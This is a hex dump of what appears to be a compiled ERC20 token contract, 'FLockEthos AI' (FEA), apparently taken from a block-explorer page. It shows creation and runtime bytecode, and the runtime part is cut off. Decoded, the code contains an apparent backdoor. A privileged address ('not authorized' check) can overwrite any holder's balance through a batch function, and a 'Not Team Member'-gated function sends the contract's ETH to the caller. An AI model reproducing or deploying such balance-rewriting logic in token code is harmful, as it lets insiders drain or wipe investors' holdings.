8036833780820191505090505b50905030815f81518110611b4a57611b49612ed0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c129190612852565b81600181518110611c2657611c25612ed0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c8c3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fb1565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611cee95949392919061309f565b5f604051808303815f87803b158015611d05575f80fd5b505af1158015611d17573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611d9d573d5f803e3d5ffd5b5050565b5f808284611daf9190612dbb565b905083811015611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb90613141565b60405180910390fd5b8091505092915050565b5f611e3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611934565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eac90612c19565b60405180910390fd5b5f811015611ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eef90612d35565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f38610faa565b73ffffffffffffffffffffffffffffffffffffffff1614611f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f85906131a9565b60405180910390fd5b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808311829061201a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201191906120a5565b60405180910390fd5b505f83856120289190612f2a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61207782612035565b612081818561203f565b935061209181856020860161204f565b61209a8161205d565b840191505092915050565b5f6020820190508181035f8301526120bd818461206d565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120ff826120d6565b9050919050565b61210f816120f5565b8114612119575f80fd5b50565b5f8135905061212a81612106565b92915050565b5f819050919050565b61214281612130565b811461214c575f80fd5b50565b5f8135905061215d81612139565b92915050565b5f8060408385031215612179576121786120ce565b5b5f6121868582860161211c565b92505060206121978582860161214f565b9150509250929050565b5f8115159050919050565b6121b5816121a1565b82525050565b5f6020820190506121ce5f8301846121ac565b92915050565b6121dd81612130565b82525050565b5f6020820190506121f65f8301846121d4565b92915050565b5f805f60608486031215612213576122126120ce565b5b5f6122208682870161211c565b93505060206122318682870161211c565b92505060406122428682870161214f565b9150509250925092565b5f60ff82169050919050565b6122618161224c565b82525050565b5f60208201905061227a5f830184612258565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6122ba8261205d565b810181811067ffffffffffffffff821117156122d9576122d8612284565b5b80604052505050565b5f6122eb6120c5565b90506122f782826122b1565b919050565b5f67ffffffffffffffff82111561231657612315612284565b5b602082029050602081019050919050565b5f80fd5b5f61233d612338846122fc565b6122e2565b905080838252602082019050602084028301858111156123605761235f612327565b5b835b818110156123895780612375888261211c565b845260208401935050602081019050612362565b5050509392505050565b5f82601f8301126123a7576123a6612280565b5b81356123b784826020860161232b565b91505092915050565b5f67ffffffffffffffff8211156123da576123d9612284565b5b602082029050602081019050919050565b5f6123fd6123f8846123c0565b6122e2565b905080838252602082019050602084028301858111156124205761241f612327565b5b835b818110156124495780612435888261214f565b845260208401935050602081019050612422565b5050509392505050565b5f82601f83011261246757612466612280565b5b81356124778482602086016123eb565b91505092915050565b5f8060408385031215612496576124956120ce565b5b5f83013567ffffffffffffffff8111156124b3576124b26120d2565b5b6124bf85828601612393565b925050602083013567ffffffffffffffff8111156124e0576124df6120d2565b5b6124ec85828601612453565b9150509250929050565b5f6020828403121561250b5761250a6120ce565b5b5f6125188482850161211c565b91505092915050565b61252a816120f5565b82525050565b5f6020820190506125435f830184612521565b92915050565b5f806040838503121561255f5761255e6120ce565b5b5f61256c8582860161211c565b925050602061257d8582860161211c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612609578086048111156125e5576125e4612587565b5b60018516156125f45780820291505b8081029050612602856125b4565b94506125c9565b94509492505050565b5f8261262157600190506126dc565b8161262e575f90506126dc565b8160018114612644576002811461264e5761267d565b60019150506126dc565b60ff8411156126605761265f612587565b5b8360020a91508482111561267757612676612587565b5b506126dc565b5060208310610133831016604e8410600b84101617156126b25782820a9050838111156126ad576126ac612587565b5b6126dc565b6126bf84848460016125c0565b925090508184048111156126d6576126d5612587565b5b81810290505b9392505050565b5f6126ed82612130565b91506126f88361224c565b92506127257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612612565b905092915050565b5f61273782612130565b915061274283612130565b925082820261275081612130565b9150828204841483151761276757612766612587565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127a260208361203f565b91506127ad8261276e565b602082019050919050565b5f6020820190508181035f8301526127cf81612796565b9050919050565b7f416c7265616479207374617274656421000000000000000000000000000000005f82015250565b5f61280a60108361203f565b9150612815826127d6565b602082019050919050565b5f6020820190508181035f830152612837816127fe565b9050919050565b5f8151905061284c81612106565b92915050565b5f60208284031215612867576128666120ce565b5b5f6128748482850161283e565b91505092915050565b5f6040820190506128905f830185612521565b61289d6020830184612521565b9392505050565b5f819050919050565b5f819050919050565b5f6128d06128cb6128c6846128a4565b6128ad565b612130565b9050919050565b6128e0816128b6565b82525050565b5f60c0820190506128f95f830189612521565b61290660208301886121d4565b61291360408301876128d7565b61292060608301866128d7565b61292d6080830185612521565b61293a60a08301846121d4565b979650505050505050565b5f8151905061295381612139565b92915050565b5f805f606084860312156129705761296f6120ce565b5b5f61297d86828701612945565b935050602061298e86828701612945565b925050604061299f86828701612945565b9150509250925092565b5f6040820190506129bc5f830185612521565b6129c960208301846121d4565b9392505050565b6129d9816121a1565b81146129e3575f80fd5b50565b5f815190506129f4816129d0565b92915050565b5f60208284031215612a0f57612a0e6120ce565b5b5f612a1c848285016129e6565b91505092915050565b7f4e6f74205465616d204d656d62657200000000000000000000000000000000005f82015250565b5f612a59600f8361203f565b9150612a6482612a25565b602082019050919050565b5f6020820190508181035f830152612a8681612a4d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ae760248361203f565b9150612af282612a8d565b604082019050919050565b5f6020820190508181035f830152612b1481612adb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b7560228361203f565b9150612b8082612b1b565b604082019050919050565b5f6020820190508181035f830152612ba281612b69565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c0360258361203f565b9150612c0e82612ba9565b604082019050919050565b5f6020820190508181035f830152612c3081612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c9160238361203f565b9150612c9c82612c37565b604082019050919050565b5f6020820190508181035f830152612cbe81612c85565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d1f60298361203f565b9150612d2a82612cc5565b604082019050919050565b5f6020820190508181035f830152612d4c81612d13565b9050919050565b7f4578636565647320746865205f6d6178416d6f756e7450657254582e000000005f82015250565b5f612d87601c8361203f565b9150612d9282612d53565b602082019050919050565b5f6020820190508181035f830152612db481612d7b565b9050919050565b5f612dc582612130565b9150612dd083612130565b9250828201905080821115612de857612de7612587565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612e22601a8361203f565b9150612e2d82612dee565b602082019050919050565b5f6020820190508181035f830152612e4f81612e16565b9050919050565b5f612e6082612130565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e9257612e91612587565b5b600182019050919050565b5f612ea782612130565b9150612eb283612130565b9250828203905081811115612eca57612ec9612587565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f3482612130565b9150612f3f83612130565b925082612f4f57612f4e612efd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612fb460218361203f565b9150612fbf82612f5a565b604082019050919050565b5f6020820190508181035f830152612fe181612fa8565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61301a816120f5565b82525050565b5f61302b8383613011565b60208301905092915050565b5f602082019050919050565b5f61304d82612fe8565b6130578185612ff2565b935061306283613002565b805f5b838110156130925781516130798882613020565b975061308483613037565b925050600181019050613065565b5085935050505092915050565b5f60a0820190506130b25f8301886121d4565b6130bf60208301876128d7565b81810360408301526130d18186613043565b90506130e06060830185612521565b6130ed60808301846121d4565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61312b601b8361203f565b9150613136826130f7565b602082019050919050565b5f6020820190508181035f8301526131588161311f565b9050919050565b7f6e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f613193600e8361203f565b915061319e8261315f565b602082019050919050565b5f6020820190508181035f8301526131c081613187565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122043f77f2ea48f6e25c5666cb43648ad7830d4d9cf596ec0ae47ea4cf0859dc9de64736f6c634300081a0033
Deployed Bytecode
0x60806040526004361061010c575f3560e01c8063715018a6116100945780638da5cb5b116100635780638da5cb5b1461033157806395d89b411461035b578063a9059cbb14610385578063dd62ed3e146103c1578063e587dbe0146103fd57610113565b8063715018a6146102c5578063751039fc146102db57806382b5deab146102f15780638a8c523c1461031b57610113565b806321d91921116100db57806321d91921146101d157806323b872dd146101fb578063313ce56714610237578063672434821461026157806370a082311461028957610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610425565b60405161013891906120a5565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612163565b610462565b60405161017491906121bb565b60405180910390f35b348015610188575f80fd5b5061019161047f565b60405161019e91906121e3565b60405180910390f35b3480156101b2575f80fd5b506101bb610485565b6040516101c891906121e3565b60405180910390f35b3480156101dc575f80fd5b506101e56104a8565b6040516101f291906121e3565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c91906121fc565b6104ae565b60405161022e91906121bb565b60405180910390f35b348015610242575f80fd5b5061024b610582565b6040516102589190612267565b60405180910390f35b34801561026c575f80fd5b5061028760048036038101906102829190612480565b61058a565b005b348015610294575f80fd5b506102af60048036038101906102aa91906124f6565b610598565b6040516102bc91906121e3565b60405180910390f35b3480156102d0575f80fd5b506102d96105de565b005b3480156102e6575f80fd5b506102ef61072c565b005b3480156102fc575f80fd5b5061030561085b565b60405161031291906121e3565b60405180910390f35b348015610326575f80fd5b5061032f610861565b005b34801561033c575f80fd5b50610345610d83565b6040516103529190612530565b60405180910390f35b348015610366575f80fd5b5061036f610daa565b60405161037c91906120a5565b60405180910390f35b348015610390575f80fd5b506103ab60048036038101906103a69190612163565b610de7565b6040516103b891906121bb565b60405180910390f35b3480156103cc575f80fd5b506103e760048036038101906103e29190612549565b610e04565b6040516103f491906121e3565b60405180910390f35b348015610408575f80fd5b50610423600480360381019061041e91906124f6565b610e86565b005b60606040518060400160405280600d81526020017f464c6f636b4574686f7320414900000000000000000000000000000000000000815250905090565b5f61047561046e610faa565b8484610fb1565b6001905092915050565b600f5481565b5f6009600a61049491906126e3565b633b9aca006104a3919061272d565b905090565b600e5481565b5f6104ba848484611174565b610577846104c6610faa565b610572856040518060600160405280602881526020016131c860289139600b5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610529610faa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119349092919063ffffffff16565b610fb1565b600190509392505050565b5f6009905090565b6105948282611996565b5050565b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105e6610faa565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610672576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610669906127b8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610734610faa565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b7906127b8565b60405180910390fd5b6009600a6107ce91906126e3565b633b9aca006107dd919061272d565b600d819055506009600a6107f191906126e3565b633b9aca00610800919061272d565b600e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61083591906126e3565b633b9aca00610844919061272d565b60405161085191906121e3565b60405180910390a1565b600d5481565b610869610faa565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec906127b8565b60405180910390fd5b601160149054906101000a900460ff1615610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c90612820565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109e13060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109cd91906126e3565b633b9aca006109dc919061272d565b610fb1565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a4b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6f9190612852565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b199190612852565b6040518363ffffffff1660e01b8152600401610b3692919061287d565b6020604051808303815f875af1158015610b52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b769190612852565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bfd30610598565b5f80610c07610d83565b426040518863ffffffff1660e01b8152600401610c29969594939291906128e6565b60606040518083038185885af1158015610c45573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c6a9190612959565b50505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d0a9291906129a9565b6020604051808303815f875af1158015610d26573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d4a91906129fa565b506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4645410000000000000000000000000000000000000000000000000000000000815250905090565b5f610dfa610df3610faa565b8484611174565b6001905092915050565b5f600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ec6610faa565b73ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390612a6f565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f64610faa565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610fa6573d5f803e3d5ffd5b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690612afd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490612b8b565b60405180910390fd5b80600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161116791906121e3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d990612c19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124790612ca7565b60405180910390fd5b5f8111611292576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128990612d35565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112fb57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116845761133c606461132e6005546007541161131b5760015461131f565b6003545b856119f690919063ffffffff16565b611a6d90919063ffffffff16565b905060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113e7575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561143a5750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114f457600d54821115611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147b90612d9d565b60405180910390fd5b600e548261149185610598565b61149b9190612dbb565b11156114dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d390612e38565b60405180910390fd5b60075f8154809291906114ee90612e56565b91905055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561157c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115c0576115bd60646115af6006546007541161159c576002546115a0565b6004545b856119f690919063ffffffff16565b611a6d90919063ffffffff16565b90505b5f6115ca30610598565b9050601160159054906101000a900460ff16158015611635575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561164d5750601160169054906101000a900460ff165b15611682575f811115611678576116776116728461166d84600f54611ab6565b611ab6565b611ace565b5b61168147611d39565b5b505b5f811115611783576116dc81600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611da190919063ffffffff16565b600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161177a91906121e3565b60405180910390a35b6117d382600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611dfe90919063ffffffff16565b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061187661182a8284611dfe90919063ffffffff16565b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611da190919063ffffffff16565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119198486611dfe90919063ffffffff16565b60405161192691906121e3565b60405180910390a350505050565b5f83831115829061197b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197291906120a5565b60405180910390fd5b505f83856119899190612e9d565b9050809150509392505050565b5f5b82518110156119f1575f8382815181106119b5576119b4612ed0565b5b602002602001015190506119e3818484815181106119d6576119d5612ed0565b5b6020026020010151611e47565b508080600101915050611998565b505050565b5f808303611a06575f9050611a67565b5f8284611a13919061272d565b9050828482611a229190612f2a565b14611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990612fca565b60405180910390fd5b809150505b92915050565b5f611aae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fd4565b905092915050565b5f818311611ac45782611ac6565b815b905092915050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b0557611b04612284565b5b604051908082528060200260200182016040528015611b335781602001602082028036833780820191505090505b50905030815f81518110611b4a57611b49612ed0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c129190612852565b81600181518110611c2657611c25612ed0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c8c3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fb1565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611cee95949392919061309f565b5f604051808303815f87803b158015611d05575f80fd5b505af1158015611d17573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611d9d573d5f803e3d5ffd5b5050565b5f808284611daf9190612dbb565b905083811015611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb90613141565b60405180910390fd5b8091505092915050565b5f611e3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611934565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eac90612c19565b60405180910390fd5b5f811015611ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eef90612d35565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f38610faa565b73ffffffffffffffffffffffffffffffffffffffff1614611f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f85906131a9565b60405180910390fd5b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808311829061201a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201191906120a5565b60405180910390fd5b505f83856120289190612f2a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61207782612035565b612081818561203f565b935061209181856020860161204f565b61209a8161205d565b840191505092915050565b5f6020820190508181035f8301526120bd818461206d565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120ff826120d6565b9050919050565b61210f816120f5565b8114612119575f80fd5b50565b5f8135905061212a81612106565b92915050565b5f819050919050565b61214281612130565b811461214c575f80fd5b50565b5f8135905061215d81612139565b92915050565b5f8060408385031215612179576121786120ce565b5b5f6121868582860161211c565b92505060206121978582860161214f565b9150509250929050565b5f8115159050919050565b6121b5816121a1565b82525050565b5f6020820190506121ce5f8301846121ac565b92915050565b6121dd81612130565b82525050565b5f6020820190506121f65f8301846121d4565b92915050565b5f805f60608486031215612213576122126120ce565b5b5f6122208682870161211c565b93505060206122318682870161211c565b92505060406122428682870161214f565b9150509250925092565b5f60ff82169050919050565b6122618161224c565b82525050565b5f60208201905061227a5f830184612258565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6122ba8261205d565b810181811067ffffffffffffffff821117156122d9576122d8612284565b5b80604052505050565b5f6122eb6120c5565b90506122f782826122b1565b919050565b5f67ffffffffffffffff82111561231657612315612284565b5b602082029050602081019050919050565b5f80fd5b5f61233d612338846122fc565b6122e2565b905080838252602082019050602084028301858111156123605761235f612327565b5b835b818110156123895780612375888261211c565b845260208401935050602081019050612362565b5050509392505050565b5f82601f8301126123a7576123a6612280565b5b81356123b784826020860161232b565b91505092915050565b5f67ffffffffffffffff8211156123da576123d9612284565b5b602082029050602081019050919050565b5f6123fd6123f8846123c0565b6122e2565b905080838252602082019050602084028301858111156124205761241f612327565b5b835b818110156124495780612435888261214f565b845260208401935050602081019050612422565b5050509392505050565b5f82601f83011261246757612466612280565b5b81356124778482602086016123eb565b91505092915050565b5f8060408385031215612496576124956120ce565b5b5f83013567ffffffffffffffff8111156124b3576124b26120d2565b5b6124bf85828601612393565b925050602083013567ffffffffffffffff8111156124e0576124df6120d2565b5b6124ec85828601612453565b9150509250929050565b5f6020828403121561250b5761250a6120ce565b5b5f6125188482850161211c565b91505092915050565b61252a816120f5565b82525050565b5f6020820190506125435f830184612521565b92915050565b5f806040838503121561255f5761255e6120ce565b5b5f61256c8582860161211c565b925050602061257d8582860161211c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612609578086048111156125e5576125e4612587565b5b60018516156125f45780820291505b8081029050612602856125b4565b94506125c9565b94509492505050565b5f8261262157600190506126dc565b8161262e575f90506126dc565b8160018114612644576002811461264e5761267d565b60019150506126dc565b60ff8411156126605761265f612587565b5b8360020a91508482111561267757612676612587565b5b506126dc565b5060208310610133831016604e8410600b84101617156126b25782820a9050838111156126ad576126ac612587565b5b6126dc565b6126bf84848460016125c0565b925090508184048111156126d6576126d5612587565b5b81810290505b9392505050565b5f6126ed82612130565b91506126f88361224c565b92506127257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612612565b905092915050565b5f61273782612130565b915061274283612130565b925082820261275081612130565b9150828204841483151761276757612766612587565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127a260208361203f565b91506127ad8261276e565b602082019050919050565b5f6020820190508181035f8301526127cf81612796565b9050919050565b7f416c7265616479207374617274656421000000000000000000000000000000005f82015250565b5f61280a60108361203f565b9150612815826127d6565b602082019050919050565b5f6020820190508181035f830152612837816127fe565b9050919050565b5f8151905061284c81612106565b92915050565b5f60208284031215612867576128666120ce565b5b5f6128748482850161283